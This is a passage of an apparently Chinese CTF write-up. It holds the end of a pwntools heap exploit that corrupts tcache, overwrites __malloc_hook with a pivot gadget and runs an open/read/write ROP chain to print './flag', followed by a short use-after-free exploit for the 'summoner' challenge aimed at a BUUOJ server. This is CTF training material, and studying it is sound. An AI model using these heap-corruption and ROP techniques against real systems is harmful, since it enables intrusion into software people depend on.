for i in range(7):
add(0,0x400,b'a')
delete(0)

add(0,0x400,b'a')
add(1,0x400,b'a')
add(1,0x400,b'a')
add(2,0x400,b'a')

delete(0)

add(2,0x300,b'a')
add(2,0x300,b'a')

#debug()
delete(1) ##改这个的bk

add(2,0x300,b'a')
add(2,0x300,b'a')
#debug()
#-------------------------------------------
fd=heap_base+0x31C0
print("fd==>",fd)
fake_bk=heap_base+0x30-0x10-5
pal=0x300*b'a'+p64(0)+p64(0x101)+p64(fd)+p64(fake_bk)
rename(1,pal)
#debug()
#------------------------------------------
add(0,0x217,b'a')
delete(0)
#debug()
malloc_hook=main_arena_addr-0x10
rename(0,p64(malloc_hook))

add(0,0xf0,b'a') ##要先放到tcache才能改tcache的数量,不然放不进去,然后再magic
debug()
magic(b'a')
debug()
magic(b'a')
debug()

magic_gadget = libc_base+0x000000000008cfd6
payload = p64(magic_gadget)
magic(payload) # __malloc_hook --> gadget(add rsp,0x48)

p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rop_heap = heap_base + 0x44b0 # './flag'

# bad syscall
# rops = p64(p_rdi)+p64(rop_heap) + p64(p_rsi)+p64(0)
# rops += p64(libc.sym['open']+libc_base)
# rops += p64(p_rdi)+p64(3)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['read']+libc_base)
# rops += p64(p_rdi)+p64(1)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['write']+libc_base)

rops = p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)

# dbs("b *__malloc_hook")
sla(b'> ',b'1')
sla(b'idx: ',b'0')
sla(b'hero name: ',rops)
sh.interactive()



sh.interactive()

metasequoia_2020_summoner

本题其实只是一个纸老虎image-20240311224248322

这便是题目的大意

但是他在free的时候free的其实是存储name的堆块,因此就很好构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

sh = remote('node5.buuoj.cn', 29952)

def cmd(s):
sh.recvuntil('> ')
sh.sendline(s)

def summon(name):
sh.sendlineafter('> ', b'summon ' + name)
sh.recvuntil('\n')

def release():
sh.sendlineafter('> ', b'release')
sh.recvuntil('Released.\n')

def strike():
sh.sendlineafter('> ', b'strike')

fake=b'a'*8+p64(5)

summon(fake)
release()
summon(b'aaaa')
strike()

sh.interactive()